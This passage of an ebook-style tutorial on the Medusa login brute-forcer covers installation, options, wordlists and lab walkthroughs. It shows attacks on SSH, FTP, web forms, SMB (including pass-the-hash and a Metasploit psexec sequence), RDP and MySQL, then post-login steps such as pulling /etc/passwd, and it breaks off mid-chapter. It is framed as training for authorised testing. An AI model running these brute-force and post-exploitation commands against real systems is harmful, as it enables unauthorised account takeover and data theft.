

# MEDUSA

*Installation · Syntax · Protocols · Step-by-Step Lab Scenarios*

---

Written by

**Tanish Sareen**

---

© 2026 — For Educational & Authorised Penetration Testing Use Only

## LEGAL DISCLAIMER

---

This ebook is written strictly for educational purposes and authorised penetration-testing engagements. Understanding how password-auditing and brute-force tools work is essential for any Cyber Security professional — both to conduct authorised tests and to build effective defences against them.



### Unauthorised Use Is a Criminal Offence

Using Medusa or any brute-force tool against systems, accounts, or networks without explicit written permission violates India's IT Act 2000 (Amended 2008), the US Computer Fraud and Abuse Act (CFAA), the UK Computer Misuse Act, and equivalent laws worldwide. Penalties include heavy fines and imprisonment.

The author, Tanish Sareen, accepts no liability for any misuse of the information presented in this guide. All practical exercises must be performed exclusively in isolated lab environments with no connection to production systems, real user accounts, or external networks.

Authorised use includes:

- Isolated VirtualBox/VMware lab setups
- Capture the Flag (CTF) competitions
- Authorised penetration tests with a signed scope-of-work
- Academic coursework and cybersecurity certifications

# TABLE OF CONTENTS

---

|                                                     |    |
|-----------------------------------------------------|----|
| Legal Disclaimer                                    | 3  |
| Preface                                             | 4  |
| Chapter 1 — Introduction to Medusa                  | 5  |
| Chapter 2 — Installation & Environment Setup        | 8  |
| Chapter 3 — Medusa Architecture & Core Concepts     | 11 |
| Chapter 4 — Complete Syntax & All Options Explained | 14 |
| Chapter 5 — Wordlists & Password Lists              | 19 |
| Chapter 6 — SSH Brute-Force Attack                  | 23 |
| Chapter 7 — FTP Brute-Force Attack                  | 27 |
| Chapter 8 — HTTP / HTTPS Form Brute-Force           | 30 |
| Chapter 9 — SMB (Windows File Share) Brute-Force    | 34 |
| Chapter 10 — RDP Brute-Force Attack                 | 37 |
| Chapter 11 — MySQL & PostgreSQL Brute-Force         | 40 |
| Chapter 12 — Telnet Brute-Force Attack              | 44 |
| Chapter 13 — SMTP, POP3 & IMAP Brute-Force          | 47 |
| Chapter 14 — SNMP Brute-Force Attack                | 51 |
| Chapter 15 — VNC Brute-Force Attack                 | 54 |
| Chapter 16 — LDAP & Active Directory Attacks        | 57 |
| Chapter 17 — CVS, SVN & Version Control Protocols   | 60 |
| Chapter 18 — Multi-Target & Parallel Attacks        | 62 |
| Chapter 19 — Medusa vs Hydra — Feature Comparison   | 65 |
| Chapter 20 — AV / IDS Evasion & Rate Limiting       | 68 |
| Chapter 21 — Logging, Output & Reporting            | 71 |
| Chapter 22 — Defensive Countermeasures & Detection  | 74 |
| Chapter 23 — Real-World Lab Scenarios               | 79 |
| Appendix A — Quick Reference Cheat Sheet            | 85 |
| Appendix B — All Supported Modules                  | 87 |
| Appendix C — Glossary                               | 89 |

## PREFACE

---

Weak and reused passwords remain the single largest cause of data breaches worldwide. From enterprise databases to IoT devices, default and guessable credentials are discovered and exploited every day. Medusa — a fast, parallel, modular network login brute-forcer — is one of the primary tools penetration testers use to demonstrate this risk to clients.

This ebook provides a complete, chapter-by-chapter guide to Medusa: from compiling it from source to running parallel multi-target attacks against SSH, FTP, HTTP, SMB, RDP, MySQL, SMTP, SNMP, VNC, LDAP, Telnet, and more. Every chapter includes real terminal commands, annotated option flags, step-by-step lab walkthroughs, and defensive guidance so you understand both sides of the attack.

Whether you are studying for CEH, OSCP, CompTIA PenTest+, or building a lab for your BCA coursework, this guide will serve as your definitive Medusa reference.

— *Tanish Sareen*

BCA Cyber Security & Forensics, CT University

## CHAPTER 1

# Introduction to Medusa

## 1.1 What Is Medusa?

Medusa is an open-source, fast, massively parallel, modular network login brute-forcer. It was created by Foofus Networks and is written in C, giving it exceptional performance. Medusa is pre-installed in Kali Linux, Parrot OS, and BlackArch, and is one of the standard tools used by penetration testers to audit password strength across dozens of network protocols simultaneously.

Unlike password crackers (hashcat, John the Ripper) that work offline against captured hashes, Medusa performs online brute-force attacks — it connects to live services over the network and attempts authentication with each username/password combination from your wordlists.

## 1.2 Key Characteristics

| Feature                       | Description                                                                                                                         |
|-------------------------------|-------------------------------------------------------------------------------------------------------------------------------------|
| <b>Parallel attacks</b>       | Attack multiple hosts, users, and passwords simultaneously using threads                                                            |
| <b>Modular</b>                | Each protocol is an independent .mod plugin — easy to extend                                                                        |
| <b>Flexible input</b>         | Single values, files, or combo lists for hosts, users, and passwords                                                                |
| <b>Resume support</b>         | Save progress and resume interrupted attacks                                                                                        |
| <b>Verbose logging</b>        | Configurable output verbosity and log files                                                                                         |
| <b>Wide protocol coverage</b> | 30+ supported modules including SSH, FTP, HTTP, SMB, RDP, MySQL, MSSQL, Oracle, VNC, LDAP, SNMP, Telnet, SMTP, POP3, IMAP, and more |

## 1.3 How Brute-Force Attacks Work

A brute-force attack systematically tries every possible credential combination until a valid one is found. In practice, penetration testers use three strategies:

| Strategy                 | Description                                                                                               |
|--------------------------|-----------------------------------------------------------------------------------------------------------|
| <b>Pure Brute-Force</b>  | Try every possible character combination. Slow but exhaustive. Practical only for short/simple passwords. |
| <b>Dictionary Attack</b> | Try words from a pre-built wordlist (rockyou.txt, etc.). Fast and effective against real-world passwords. |

| Strategy            | Description                                                                                               |
|---------------------|-----------------------------------------------------------------------------------------------------------|
| Credential Stuffing | Use username:password pairs leaked from previous breaches. Highly effective when users reuse credentials. |

## 1.4 Legal & Ethical Framework



### Authorised Use Only

Every attack demonstrated in this book must be performed against systems you own or have explicit written permission to test. Password brute-forcing is illegal under computer misuse laws in every major jurisdiction when performed without authorisation.

## 1.5 Medusa in the Penetration Testing Lifecycle

Medusa is used during the Credential Access phase of a penetration test, typically after reconnaissance (gathering usernames via OSINT, LDAP enumeration, or email harvesting) and before lateral movement. The typical flow is:

1. Reconnaissance — Gather valid usernames via LinkedIn, Google, LDAP queries, or SNMP enumeration
2. Wordlist Preparation — Select or generate relevant password lists
3. Brute-Force with Medusa — Test credentials against identified services
4. Successful Login — Use the cracked account for lateral movement, privilege escalation, or data access
5. Reporting — Document findings and recommend password policy improvements

## CHAPTER 2

# Installation & Environment Setup

## 2.1 Supported Operating Systems

| OS                     | Status                                     |
|------------------------|--------------------------------------------|
| Kali Linux             | Pre-installed — recommended                |
| Parrot OS              | Pre-installed                              |
| BlackArch Linux        | Available via pacman                       |
| Ubuntu / Debian        | Manual install — see below                 |
| Fedora / CentOS / RHEL | Manual install                             |
| macOS                  | Build from source (limited module support) |
| Windows (WSL2)         | Partial — not recommended                  |

## 2.2 Checking Medusa on Kali Linux

```
# Check if Medusa is installed
which medusa
# Returns: /usr/bin/medusa

# Check version
medusa -V
# Medusa v2.2

# View help
medusa -h
```

## 2.3 Installing Medusa on Ubuntu/Debian from Apt

```
sudo apt-get update
sudo apt-get install medusa -y
medusa -V
```

## 2.4 Building Medusa from Source (Latest Version)

Building from source gives you the most recent version and all modules:

```
# Install build dependencies
sudo apt-get install -y build-essential libssl-dev libssh-dev \
    libaftpclient-dev libgcrypt-dev libsnmp-dev libsvn-dev git

# Clone the repository
git clone https://github.com/jmk-foofus/medusa.git
cd medusa

# Configure and compile
./configure
make
sudo make install

# Verify
medusa -V
```

## 2.5 Verifying Installed Modules

Medusa's capabilities depend on which modules were compiled. List available modules:

```
medusa -d
# Sample output:
# Available modules in '/usr/lib/medusa/modules' :
#   + cvs.mod : Brute force module for CVS sessions
#   + ftp.mod : Brute force module for FTP/FTPS sessions
#   + http.mod : Brute force module for HTTP
#   + imap.mod : Brute force module for IMAP sessions
#   + mssql.mod : Brute force module for MSSQL sessions
#   + mysql.mod : Brute force module for MySQL sessions
#   + nnntp.mod : Brute force module for NNTP sessions
#   + pcanywhere.mod : Brute force module for PcAnywhere
#   + pop3.mod : Brute force module for POP3 sessions
#   + postgres.mod : Brute force module for PostgreSQL
#   + rdp.mod : Brute force module for RDP sessions
#   + rexec.mod : Brute force module for REXEC sessions
#   + rlogin.mod : Brute force module for RLOGIN sessions
#   + rsh.mod : Brute force module for RSH sessions
#   + smbnt.mod : Brute force module for SMB sessions
#   + smtp.mod : Brute force module for SMTP sessions
#   + smtp-vrfy.mod : Module for verifying SMTP accounts
#   + snmp.mod : Brute force module for SNMP v1/2
#   + ssh.mod : Brute force module for SSH v2
#   + svn.mod : Brute force module for SVN sessions
#   + telnet.mod : Brute force module for Telnet sessions
#   + vmauthd.mod : Brute force module for VMware Auth Daemon
#   + vnc.mod : Brute force module for VNC sessions
#   + web-form.mod : Brute force module for web forms
#   + wrapper.mod : Generic wrapper module
```

## 2.6 Setting Up the Lab Environment

Build an isolated two-VM network for all exercises:



| VM Role            | Recommended OS         |
|--------------------|------------------------|
| Attacker           | Kali Linux (latest)    |
| Target 1 — Linux   | Ubuntu Server 22.04    |
| Target 2 — Windows | Windows Server 2019    |
| Target 3 — Web App | DVWA / Metasploitable2 |

6. Create a Host-Only network in VirtualBox/VMware (no internet access).
7. Assign all VMs to the Host-Only adapter.
8. Install SSH, FTP, Telnet, Apache, MySQL, and Samba on the Linux target.
9. Enable RDP and SMB on the Windows target.
10. Snapshot all VMs before every exercise.



**Use Metasploitable2**  
Metasploitable2 is an intentionally vulnerable Linux VM that has SSH, FTP, Telnet, SMB, MySQL, and HTTP services running with weak credentials. It is the ideal Medusa practice target. Download free from Sourceforge.

## CHAPTER 3

# Medusa Architecture & Core Concepts

## 3.1 How Medusa Works Internally

Medusa uses a thread-per-host architecture. When you launch an attack, Medusa:

11. Reads the host list, username list, and password list from your inputs.
12. Spawns a configurable number of parallel threads (default: varies by module).
13. Each thread is assigned a host and iterates through username:password combinations.
14. For each combination, it opens a network connection, attempts authentication, and evaluates the response.
15. On success, it logs the valid credential and optionally continues or stops.
16. At the end, it produces a summary report.

## 3.2 Module Architecture

Every protocol Medusa supports is implemented as a shared library (.mod file) in `/usr/lib/medusa/modules/`. Each module handles:

- Establishing the network connection for that protocol
- Sending the authentication request in the correct protocol format
- Parsing the server response to determine success or failure
- Handling protocol-specific features (e.g., SSH key exchange, HTTP form parameters)



### Module Path

Modules live at `/usr/lib/medusa/modules/` on most systems. You can inspect, modify, or add modules to extend Medusa's capabilities.

## 3.3 Thread Model & Performance

Medusa's performance is controlled by three key parameters:

| Parameter          | Flag |
|--------------------|------|
| Tasks (threads)    | -t N |
| Hosts concurrently | -T N |
| Wait time          | -w N |

Example: -t 4 -T 3 creates 4 threads per host across 3 simultaneous hosts = 12 parallel connections total.

## 3.4 Input Modes

| Input Type      | Description               |
|-----------------|---------------------------|
| Single host     | -h 192.168.56.20          |
| Host file       | -H hosts.txt              |
| Single user     | -u admin                  |
| User file       | -U users.txt              |
| Single password | -p password123            |
| Password file   | -P /path/to/passwords.txt |
| Combo file      | -C combo.txt              |

## 3.5 Success & Failure Determination

How Medusa knows a login succeeded depends on the module. For most protocols, the server returns a clear success/failure code (SSH returns exit status 0, FTP returns 230, HTTP returns a redirect or specific body text). The web-form module is special — you must tell Medusa what a failed login looks like using the -m F:"string" option (covered in Chapter 8).

CHAPTER 4

# Complete Syntax & All Options Explained

## 4.1 Basic Syntax

```
medusa [-h host|-H file] [-u user|-U file] [-p pass|-P file|-C file]
-M module [options]
```

## 4.2 Full Options Reference

| Flag | Argument  |
|------|-----------|
| -h   | <host>    |
| -H   | <file>    |
| -u   | <user>    |
| -U   | <file>    |
| -p   | <pass>    |
| -P   | <file>    |
| -C   | <file>    |
| -O   | <file>    |
| -e   | ns        |
| -M   | <module>  |
| -m   | <options> |
| -d   | (none)    |
| -n   | <port>    |
| -s   | (none)    |
| -g   | <N>       |
| -r   | <N>       |
| -t   | <N>       |
| -T   | <N>       |
| -L   | (none)    |
| -f   | (none)    |

| Flag      | Argument |
|-----------|----------|
| <b>-F</b> | (none)   |
| <b>-b</b> | (none)   |
| <b>-q</b> | (none)   |
| <b>-v</b> | <0-6>    |
| <b>-w</b> | <N>      |
| <b>-z</b> | (none)   |
| <b>-x</b> | <range>  |

### 4.3 Password Generation with -x

The -x flag lets Medusa generate passwords on the fly instead of reading from a file. Syntax: -x min:max:charset

| Charset Code        | Characters Included                 |
|---------------------|-------------------------------------|
| <b>a</b>            | lowercase letters a-z               |
| <b>A</b>            | UPPERCASE letters A-Z               |
| <b>1</b>            | digits 0-9                          |
| <b>!</b>            | special characters: !@#\$%^&*()-_+= |
| <b>Combinations</b> | e.g. a1 = lowercase + digits        |

Examples:

```
# Try all 4-character lowercase combinations
medusa -h 192.168.56.20 -u admin -M ssh -x 4:4:a

# Try 3-6 character alphanumeric passwords
medusa -h 192.168.56.20 -u root -M ftp -x 3:6:a1

# 4-character passwords with lower, upper, digits
medusa -h 192.168.56.20 -u admin -M ssh -x 4:4:aA1
```



#### Use -x Sparingly

Pure brute-force with -x generates enormous keyspaces. For 6 characters (a-z + 0-9) that's  $36^6 = 2.17$  billion combinations. Dictionary attacks (-P) are almost always faster and more effective against real-world passwords.

### 4.4 The -e Flag — Extra Checks

The -e flag performs two additional fast checks before starting the main wordlist:

- `-e n` — Try a blank (null) password. Many devices ship with empty passwords.
- `-e s` — Try the username itself as the password (e.g., user admin, password admin).
- `-e ns` — Run both checks.

```
# Try null + same-as-username before the wordlist
medusa -h 192.168.56.20 -U users.txt -P passwords.txt -M ssh -e ns
```

### 4.5 Verbosity Levels

| Level             | Output                                      |
|-------------------|---------------------------------------------|
| <code>-v 0</code> | Silent — only print found credentials       |
| <code>-v 1</code> | Print errors and found credentials          |
| <code>-v 2</code> | Print connection attempts (default)         |
| <code>-v 3</code> | Print each tested credential                |
| <code>-v 4</code> | Print full module debug info                |
| <code>-v 5</code> | Maximum verbosity — all internal state      |
| <code>-v 6</code> | Extreme debug — byte-level protocol tracing |

## CHAPTER 5

# Wordlists & Password Lists

## 5.1 Why Wordlists Matter

The quality of your wordlist directly determines the success rate of a brute-force attack. A well-crafted, targeted wordlist will crack more passwords in minutes than a generic list would in hours.

## 5.2 Built-in Kali Linux Wordlists

| Wordlist           | Location                             |
|--------------------|--------------------------------------|
| rockyou.txt        | /usr/share/wordlists/rockyou.txt     |
| fasttrack.txt      | /usr/share/wordlists/fasttrack.txt   |
| common.txt         | /usr/share/wordlists/dirb/common.txt |
| SecLists (default) | /usr/share/seclists/                 |

```
# Decompress rockyou.txt if not already done
sudo gunzip /usr/share/wordlists/rockyou.txt.gz

# Check line count
wc -l /usr/share/wordlists/rockyou.txt
# 14,344,391 lines
```

## 5.3 Installing SecLists

```
sudo apt-get install seclists -y
# Or from GitHub:
git clone https://github.com/danielmiessler/SecLists.git /opt/SecLists
```

SecLists contains specialist password lists:

- /opt/SecLists/Passwords/Default-Credentials/ — factory defaults for routers, cameras, printers
- /opt/SecLists/Passwords/Common-Credentials/ — 100, 1000, 10000 most common passwords
- /opt/SecLists/Passwords/Leaked-Databases/ — breach dumps (LinkedIn, Adobe, etc.)
- /opt/SecLists/Username/ — common username lists

- /opt/SecLists/Passwords/Fuzzing/ — patterns for web forms

## 5.4 Generating Custom Wordlists with Crunch

Crunch generates wordlists based on character sets and length patterns:

```
# Install crunch
sudo apt-get install crunch -y

# Generate all 4-digit PINs (0000-9999)
crunch 4 4 0123456789 -o /tmp/pins.txt

# Generate 6-8 char passwords: lowercase + digits
crunch 6 8 abcdefghijklmnopqrstuvwxyz0123456789 -o /tmp/alpha6-8.txt

# Use a pattern: ?l = lowercase, ?u = uppercase, ?d = digit, ?s = special
crunch 8 8 -t @@@@%-% -o /tmp/pattern.txt
# Produces: aaaa0000, aaaa0001 ...

# Generate passwords following a company pattern (e.g. Company2024!)
crunch 11 11 -t Company%-% -o /tmp/company.txt
```

## 5.5 Generating Targeted Wordlists with CeWL

CeWL (Custom Word List Generator) spiders a target website and extracts words for use as passwords — useful for social-engineering based guessing:

```
# Basic usage: spider to depth 2, minimum 6-char words
cewl http://target.lab -d 2 -m 6 -w /tmp/cewl_words.txt

# Include email addresses
cewl http://target.lab -d 3 -m 5 --email -w /tmp/cewl_full.txt
```

## 5.6 Building a Username List

Common username sources for penetration tests:

- LinkedIn — Full names of employees (use linkedin2username tool to convert to formats)
- Email headers — From: headers in corporate emails reveal the naming convention
- SNMP v1/2 enumeration — can expose system usernames
- LDAP anonymous bind — can dump Active Directory user lists
- Web application registration pages — error messages may confirm valid usernames

```
# Convert full names to username formats with linkedin2username
# (Requires LinkedIn authentication)
git clone https://github.com/initstring/linkedin2username
cd linkedin2username
python3 linkedin2username.py -c CompanyName -n 5 -o /tmp/users.txt
```



## 5.7 Combo Files — Username:Password Format

Instead of separate user and password files, combo files combine them:

```
# /tmp/combo.txt format:  
admin:admin  
root:toor  
admin:password  
admin:123456  
guest:guest  
operator:operator
```

```
# Use a combo file with Medusa  
medusa -h 192.168.56.20 -C /tmp/combo.txt -M ssh
```



### Default Credentials First

Always test factory/default credentials (admin:admin, root:root, admin:password) before launching a full wordlist attack. Many real-world systems are still running with defaults.

## CHAPTER 6

# SSH Brute-Force Attack

## 6.1 SSH Overview

SSH (Secure Shell) is the primary remote administration protocol for Linux/Unix systems, network devices, and cloud servers. Port 22 is almost universally open on server infrastructure, making it a primary target for brute-force attacks. SSH uses public-key or password authentication.

| Detail           | Value                                               |
|------------------|-----------------------------------------------------|
| Protocol         | SSH v2                                              |
| Default Port     | 22                                                  |
| Medusa Module    | ssh                                                 |
| Common Usernames | root, admin, ubuntu, ec2-user, pi, oracle, postgres |

## 6.2 Lab Setup — Enabling SSH on Target

```
# On Ubuntu target VM
sudo apt-get install openssh-server -y
sudo systemctl enable ssh
sudo systemctl start ssh

# Create a lab test account with a weak password
sudo useradd -m -s /bin/bash labuser
echo 'labuser:password123' | sudo chpasswd

# Verify SSH is listening
ss -tlnp | grep 22
```

## 6.3 Basic SSH Brute-Force

```
# Single username, password file
medusa -h 192.168.56.20 -u root -P /usr/share/wordlists/rockyou.txt -M ssh

# Single username, single password (credential verification)
medusa -h 192.168.56.20 -u admin -p admin123 -M ssh

# Multiple users, password file
medusa -h 192.168.56.20 -U /tmp/users.txt -P /usr/share/wordlists/fasttrack.txt -M ssh
```

## 6.4 SSH Attack — All Options

```
# Try null password + username-as-password first, then wordlist
medusa -h 192.168.56.20 -U users.txt -P passwords.txt -M ssh -e ns

# Run 4 parallel threads, stop at first found credential
medusa -h 192.168.56.20 -U users.txt -P passwords.txt -M ssh -t 4 -f

# Non-default SSH port (e.g., 2222)
medusa -h 192.168.56.20 -n 2222 -u admin -P passwords.txt -M ssh

# Save output to file with verbose logging
medusa -h 192.168.56.20 -u root -P /usr/share/wordlists/rockyou.txt \
-M ssh -v 3 -O /root/ssh_results.txt

# Attack multiple hosts from file
medusa -H hosts.txt -u root -P passwords.txt -M ssh -t 2 -T 5
```

## 6.5 Understanding SSH Output

```
# Sample Medusa output:
MEDUSA v2.2 [http://www.foofus.net] (C) JoMo-Kun / Foofus Networks

MEDUSA-THREAD-18 [ssh://192.168.56.20:22] FAILED: root:password
MEDUSA-THREAD-18 [ssh://192.168.56.20:22] FAILED: root:123456
MEDUSA-THREAD-18 [ssh://192.168.56.20:22] FAILED: root:12345678
MEDUSA-THREAD-18 [ssh://192.168.56.20:22] SUCCESS: root:toor

ACCOUNT FOUND: [ssh] Host: 192.168.56.20 User: root Password: toor [SUCCESS]
```

When Medusa reports SUCCESS, immediately test the credentials:

```
ssh root@192.168.56.20
# Enter: toor
# You are now logged in as root.
```

## 6.6 SSH Module Options (-m)

```
# Force SSH v2 only
medusa -h 192.168.56.20 -u root -P pass.txt -M ssh -m SSH_VERSION:2

# View all SSH module options
medusa -M ssh -q
```

## CHAPTER 7

# FTP Brute-Force Attack

## 7.1 FTP Overview

FTP (File Transfer Protocol) is one of the oldest network protocols, still widely used for file transfers on web servers, NAS devices, and legacy systems. It transmits credentials in plaintext, making it particularly vulnerable.

| Detail           | Value                               |
|------------------|-------------------------------------|
| Protocol         | FTP (plaintext) / FTPS (TLS)        |
| Default Port     | 21 (FTP), 990 (FTPS implicit)       |
| Medusa Module    | ftp                                 |
| Common Usernames | anonymous, ftp, admin, ftpuser, www |

## 7.2 Lab Setup — FTP on Target

```
# Install vsftpd on Ubuntu target
sudo apt-get install vsftpd -y
sudo systemctl start vsftpd

# Create a test FTP user
sudo useradd -m ftpuser
echo 'ftpuser:ftppass' | sudo chpasswd

# Verify port 21 is open
ss -tlnp | grep 21
```

## 7.3 FTP Brute-Force Commands

```
# Basic FTP attack
medusa -h 192.168.56.20 -u ftpuser -P /usr/share/wordlists/rockyou.txt -M ftp

# Check anonymous login first
medusa -h 192.168.56.20 -u anonymous -p anonymous -M ftp

# Multiple users with verbose output
medusa -h 192.168.56.20 -U users.txt -P passwords.txt -M ftp -v 3

# FTPS (FTP over SSL) — use -s flag
medusa -h 192.168.56.20 -u admin -P passwords.txt -M ftp -s
```

```
# Non-default FTP port
medusa -h 192.168.56.20 -n 2121 -u admin -P passwords.txt -M ftp

# 4 threads, stop on first success, save results
medusa -h 192.168.56.20 -U users.txt -P passwords.txt -M ftp -t 4 -f -O
/root/ftp_results.txt
```

## 7.4 After a Successful FTP Login

```
# Connect with found credentials
ftp 192.168.56.20
Name: ftpuser
Password: ftppass

# List files
ftp> ls -la

# Download a file
ftp> get /etc/passwd /tmp/target_passwd

# Or use ncftp for non-interactive access
ncftp -u ftpuser -p ftppass 192.168.56.20
```

## CHAPTER 8

# HTTP / HTTPS Form Brute-Force

## 8.1 Overview

Web application login forms are among the most common brute-force targets. Medusa's web-form module (web-form.mod) handles HTTP POST-based login forms. This is useful for testing web admin panels (phpMyAdmin, WordPress, cPanel), custom applications, and web-based device management interfaces.

| Detail        | Value                                                             |
|---------------|-------------------------------------------------------------------|
| Default Port  | 80 (HTTP), 443 (HTTPS)                                            |
| Medusa Module | web-form                                                          |
| Key Parameter | F:"failure string" — text that appears in a failed login response |

## 8.2 Analysing the Target Login Form

Before running Medusa, you must inspect the login form to identify the POST parameters. Use your browser's Developer Tools (F12) or Burp Suite:

17. Open the target login page in Firefox: <http://192.168.56.40/dvwa/login.php>
18. Open Developer Tools (F12) > Network tab
19. Submit a test login with wrong credentials
20. Find the POST request to login.php and inspect its Form Data
21. Note the parameter names for username and password (e.g., username=, password=)
22. Note the error message shown on a failed login (e.g., 'Login failed')

```
# Example captured POST request:
# POST /dvwa/login.php HTTP/1.1
# username=admin&password=wrongpass&Login=Login
#
# Failed login response body contains: 'Login failed'
```

## 8.3 web-form Module Syntax

The -m option for web-form takes colon-separated key:value parameters:

| Parameter          | Description                                               |
|--------------------|-----------------------------------------------------------|
| FORM:/path/to/form | URL path to the login form (default: /)                   |
| DENY-SIGNAL:string | String in the response body that indicates a FAILED login |

| Parameter                                  | Description                                                                      |
|--------------------------------------------|----------------------------------------------------------------------------------|
| <b>CUSTOM-HEADER:name=value</b>            | Add a custom HTTP header                                                         |
| <b>FORM-DATA:param1=val&amp;param2=val</b> | The POST body template. Use MEDUSA_USERNAME and MEDUSA_PASSWORD as placeholders. |

## 8.4 DVWA Login Brute-Force (Step by Step)

```
# DVWA login form attack
# POST parameters: username=, password=, Login=Login
# Failure string: 'Login failed'

medusa -h 192.168.56.40 -u admin -P /usr/share/wordlists/rockyou.txt \
-M web-form \
-m FORM:/dvwa/login.php \
-m DENY-SIGNAL:"Login failed" \
-m FORM-DATA:"username=MEDUSA_USERNAME&password=MEDUSA_PASSWORD&Login=Login"
```

## 8.5 WordPress Admin Brute-Force

```
# WordPress uses /wp-login.php
# POST parameters: log=, pwd=, wp-submit=Log In
# Failure string: 'ERROR' or 'The password you entered'

medusa -h 192.168.56.50 -u admin -P /usr/share/wordlists/rockyou.txt \
-M web-form \
-m FORM:/wp-login.php \
-m DENY-SIGNAL:"ERROR" \
-m FORM-DATA:"log=MEDUSA_USERNAME&pwd=MEDUSA_PASSWORD&wp-submit=Log+In"

# Add verbose to see each attempt
medusa -h 192.168.56.50 -u admin -P passwords.txt -M web-form \
-m FORM:/wp-login.php \
-m DENY-SIGNAL:"ERROR" \
-m FORM-DATA:"log=MEDUSA_USERNAME&pwd=MEDUSA_PASSWORD&wp-submit=Log+In" -v 4
```

## 8.6 HTTPS Web Form Attack

```
# Add -s flag for SSL/HTTPS, -n 443 for HTTPS port
medusa -h 192.168.56.50 -n 443 -s \
-u admin -P passwords.txt \
-M web-form \
-m FORM:/admin/login \
-m DENY-SIGNAL:"Invalid credentials" \
-m FORM-DATA:"email=MEDUSA_USERNAME&password=MEDUSA_PASSWORD"
```

## 8.7 HTTP Basic Authentication

For sites protected by HTTP Basic Auth (the browser popup asking for username/password), use the http module instead:

```
# HTTP Basic Auth brute-force
medusa -h 192.168.56.40 -u admin -P passwords.txt -M http

# Specify path requiring authentication
medusa -h 192.168.56.40 -u admin -P passwords.txt -M http \
-m DIR:/protected/

# HTTPS Basic Auth
medusa -h 192.168.56.40 -n 443 -s -u admin -P passwords.txt -M http \
-m DIR:/admin/
```



## CHAPTER 9

# SMB (Windows File Share) Brute-Force

## 9.1 SMB Overview

SMB (Server Message Block) is the Windows file-sharing and authentication protocol. Successful SMB credential brute-force gives access to shared drives, and combined with Metasploit's psexec module, it can yield full remote code execution. Medusa uses the smbnt module for modern SMB (NTLMv1/v2).

| Detail           | Value                                    |
|------------------|------------------------------------------|
| Default Port     | 445 (SMB), 139 (NetBIOS)                 |
| Medusa Module    | smbnt                                    |
| Common Usernames | Administrator, admin, Guest, Domain\user |

## 9.2 Lab Setup — SMB on Windows Target

```
# On Windows Server 2019 target:
# 1. Ensure File and Printer Sharing is enabled
# 2. Ensure Network Discovery is On
# 3. Create a local test account:

net user labadmin Password123 /add
net localgroup Administrators labadmin /add
```

## 9.3 SMB Brute-Force Commands

```
# Basic SMB attack
medusa -h 192.168.56.30 -u Administrator -P passwords.txt -M smbnt

# Try multiple users
medusa -h 192.168.56.30 -U users.txt -P passwords.txt -M smbnt

# WORKGROUP domain (default)
medusa -h 192.168.56.30 -u Administrator -P passwords.txt -M smbnt \
-m GROUP:WORKGROUP

# Domain environment
medusa -h 192.168.56.30 -u jsmith -P passwords.txt -M smbnt \
-m GROUP:CORP_DOMAIN

# Use NTLM hash instead of plaintext password (pass-the-hash)
medusa -h 192.168.56.30 -u Administrator \
```

```
-p aad3b435b51404eeaad3b435b51404ee:8846f7eaae8fb117ad06bdd830b7586c \  
-M smbnt -m PASS:HASH
```

## 9.4 smbnt Module Options

| Option                 | Description                                                     |
|------------------------|-----------------------------------------------------------------|
| <b>-m GROUP:name</b>   | Specify the Windows domain or workgroup name                    |
| <b>-m PASS:HASH</b>    | Treat the password field as an NTLM hash (pass-the-hash attack) |
| <b>-m PASS:MACHINE</b> | Use the machine account password                                |

## 9.5 After a Successful SMB Login

```
# List shares with valid credentials  
smbclient -L //192.168.56.30 -U Administrator%Password123  
  
# Connect to a share  
smbclient //192.168.56.30/C$ -U Administrator%Password123  
  
# Remote execution via psexec (Metasploit)  
msfconsole -q  
use exploit/windows/smb/psexec  
set RHOST 192.168.56.30  
set SMBUser Administrator  
set SMBPass Password123  
exploit
```

## CHAPTER 10

# RDP Brute-Force Attack

## 10.1 RDP Overview

Remote Desktop Protocol (RDP) provides graphical remote access to Windows systems. RDP brute-force is a common initial access vector because:

- Port 3389 is frequently exposed to the internet
- Users often reuse passwords from other breaches
- Organisations may have poor lockout policies on RDP

| Detail           | Value                                                     |
|------------------|-----------------------------------------------------------|
| Default Port     | 3389                                                      |
| Medusa Module    | rdp                                                       |
| Common Usernames | Administrator, admin, rdpuser, user, Domain\Administrator |

## 10.2 Lab Setup — Enable RDP on Windows Target

```
# On Windows Server 2019 (PowerShell as Admin):
Set-ItemProperty -Path 'HKLM:\System\CurrentControlSet\Control\Terminal Server' `
  -Name fDenyTSConnections -Value 0
Enable-NetFirewallRule -DisplayGroup 'Remote Desktop'

# Create a test account
net user rdptest Passw0rd! /add
net localgroup 'Remote Desktop Users' rdptest /add
```

## 10.3 RDP Brute-Force Commands

```
# Basic RDP attack
medusa -h 192.168.56.30 -u Administrator -P passwords.txt -M rdp

# Multiple users, 2 threads
medusa -h 192.168.56.30 -U users.txt -P passwords.txt -M rdp -t 2

# Non-default RDP port
medusa -h 192.168.56.30 -n 33890 -u Administrator -P passwords.txt -M rdp

# Multiple hosts
medusa -H windows_hosts.txt -u Administrator -P passwords.txt -M rdp -T 3 -f
```



### RDP Thread Count

Keep RDP threads low (-t 1 or -t 2). RDP is resource-intensive and high thread counts can crash the target service or trigger lockouts very quickly.

## 10.4 Connecting with Found Credentials

```
# From Linux (using rdesktop or xfreerdp)
xfreerdp /u:Administrator /p:Password123 /v:192.168.56.30

# Or with rdesktop
rdesktop -u Administrator -p Password123 192.168.56.30
```

## CHAPTER 11

# MySQL & PostgreSQL Brute-Force

## 11.1 Database Credential Attacks

Database servers are high-value targets — a successful login often yields direct access to application data, user credentials, and PII. MySQL and PostgreSQL are the two most common open-source database servers.

## 11.2 MySQL Brute-Force

| Detail           | Value                                          |
|------------------|------------------------------------------------|
| Default Port     | 3306                                           |
| Medusa Module    | mysql                                          |
| Common Usernames | root, mysql, admin, dbadmin, wordpress, joomla |

```
# Lab setup on Ubuntu target
sudo apt-get install mysql-server -y
sudo systemctl start mysql

# Create a weak test account (MySQL CLI)
sudo mysql -u root
CREATE USER 'testdb'@'%' IDENTIFIED BY 'mysql123';
GRANT ALL PRIVILEGES ON *.* TO 'testdb'@'%';
FLUSH PRIVILEGES;
EXIT;
```

```
# MySQL brute-force
medusa -h 192.168.56.20 -u root -P /usr/share/wordlists/rockyou.txt -M mysql

# Try null password first (common on misconfigured servers)
medusa -h 192.168.56.20 -u root -P passwords.txt -M mysql -e n

# Multiple users
medusa -h 192.168.56.20 -U db_users.txt -P passwords.txt -M mysql -t 2

# Save results
medusa -h 192.168.56.20 -u root -P passwords.txt -M mysql -O
/root/mysql_results.txt
```

## 11.3 MySQL Post-Exploitation

```
# Connect with found credentials
```

```
mysql -h 192.168.56.20 -u root -p'toor'

# Show databases
mysql> SHOW DATABASES;

# Dump users
